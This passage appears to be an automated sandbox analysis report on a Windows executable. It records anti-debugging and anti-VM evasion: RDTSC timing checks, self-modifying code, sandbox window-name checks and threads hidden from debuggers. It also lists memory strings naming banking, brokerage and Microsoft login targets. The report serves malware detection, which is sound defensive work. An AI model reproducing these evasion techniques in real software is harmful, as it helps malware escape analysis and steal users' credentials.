Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B309E1 second address: 4B30A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F3AB928249Eh 0x0000000b sub cx, 45E8h 0x00000010 jmp 00007F3AB928249Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test esi, esi 0x0000001b pushad 0x0000001c mov cl, F4h 0x0000001e pushfd 0x0000001f jmp 00007F3AB92824A1h 0x00000024 add eax, 33AE1C06h 0x0000002a jmp 00007F3AB92824A1h 0x0000002f popfd 0x00000030 popad 0x00000031 je 00007F3B2A19FE14h 0x00000037 jmp 00007F3AB928249Eh 0x0000003c cmp dword ptr [75AB459Ch], 05h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushad 0x00000047 popad 0x00000048 movsx edx, si 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30B00 second address: 4B30B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, EAh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3AB92655FCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30B19 second address: 4B30B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30B1D second address: 4B30B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30B5B second address: 4B30B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB92824A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4768C second address: 5C47690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C47690 second address: 5C476AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3AB92824A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C476AF second address: 5C476DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jc 00007F3AB92655F6h 0x00000012 jmp 00007F3AB92655FEh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3AB92655FBh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C476DF second address: 5C476E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C476E3 second address: 5C476E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5901F second address: 5C59029 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3AB9282496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5940B second address: 5C59425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB9265605h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C59425 second address: 5C59452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F3AB92824A5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C59452 second address: 5C59459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C595B4 second address: 5C595E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3AB9282496h 0x00000008 jnc 00007F3AB9282496h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F3AB92824A9h 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5974F second address: 5C59755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C59755 second address: 5C5975B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5975B second address: 5C59761 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C59761 second address: 5C59780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3AB92824A5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C59780 second address: 5C5978C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3AB92655F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5978C second address: 5C5979F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5979F second address: 5C597A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C598E8 second address: 5C59915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB92824A6h 0x00000009 js 00007F3AB9282496h 0x0000000f popad 0x00000010 jmp 00007F3AB928249Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D1E5 second address: 5C5D1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D1F2 second address: 5C5D1F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D1F6 second address: 5C5D1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D1FC second address: 5C5D201 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D201 second address: 5C5D235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c je 00007F3AB92655F8h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F3AB9265607h 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pushad 0x00000020 popad 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D2A9 second address: 5C5D2DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b sub edi, dword ptr [ebp+122D2D5Dh] 0x00000011 push 00000000h 0x00000013 jno 00007F3AB928249Ch 0x00000019 push BFCA2EEAh 0x0000001e pushad 0x0000001f jo 00007F3AB928249Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D2DD second address: 5C5D2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D2E4 second address: 5C5D367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 add dword ptr [esp], 4035D196h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F3AB9282498h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov edi, edx 0x00000029 push 00000003h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007F3AB9282498h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 00000017h 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 push 00000000h 0x00000047 xor dword ptr [ebp+122D3179h], esi 0x0000004d and esi, 65466E03h 0x00000053 push 00000003h 0x00000055 mov di, E312h 0x00000059 push 4D1AFF0Bh 0x0000005e push eax 0x0000005f push edx 0x00000060 push edi 0x00000061 jmp 00007F3AB92824A4h 0x00000066 pop edi 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D4B6 second address: 5C5D4C0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3AB92655FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D4C0 second address: 5C5D4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jng 00007F3AB92824A4h 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F3AB9282496h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D577 second address: 5C5D597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3AB9265606h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D597 second address: 5C5D5B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F3AB9282496h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3AB928249Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D5B9 second address: 5C5D5EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push ebx 0x0000000b mov dword ptr [ebp+122D25F5h], ecx 0x00000011 pop edi 0x00000012 add ecx, dword ptr [ebp+122D2F21h] 0x00000018 lea ebx, dword ptr [ebp+1245313Bh] 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 jbe 00007F3AB92655F6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5D730 second address: 5C5D734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7B65F second address: 5C7B688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3AB92655FFh 0x0000000b js 00007F3AB92655F6h 0x00000011 popad 0x00000012 push ebx 0x00000013 jng 00007F3AB92655F6h 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7B688 second address: 5C7B68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7B7A2 second address: 5C7B7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3AB92655F6h 0x0000000a popad 0x0000000b pop esi 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7BB9A second address: 5C7BBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7BBA3 second address: 5C7BBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7BBA9 second address: 5C7BBAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7BBAF second address: 5C7BBDE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3AB92655F6h 0x00000008 jmp 00007F3AB9265607h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jnp 00007F3AB9265602h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7BD32 second address: 5C7BD70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F3AB9282496h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F3AB92824A8h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 jmp 00007F3AB92824A2h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7BD70 second address: 5C7BD92 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F3AB9265606h 0x00000008 pop ebx 0x00000009 jo 00007F3AB92655FEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C72120 second address: 5C7215C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Fh 0x00000007 jne 00007F3AB9282496h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 je 00007F3AB92824D1h 0x00000016 pushad 0x00000017 jmp 00007F3AB92824A9h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7215C second address: 5C72162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C72162 second address: 5C72170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3AB9282496h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C72170 second address: 5C72176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7D216 second address: 5C7D21C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C82932 second address: 5C82937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7BCAF3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7BCBA1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 96C111 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 96AC2E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9F2BB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5ADDE87 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5ADDD6D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5C82A54 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5ADB5C2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D15F28 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7640	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7644	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7744	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7748	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7616	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.1744569075.0000000005C61000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1737251703.000000000094D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000002.1738243714.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, file.exe, 00000000.00000002.1738243714.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1738243714.0000000000CE7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1431084615.00000000055D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000002.1742721453.0000000005580000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1744569075.0000000005C61000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1737251703.000000000094D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1431084615.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
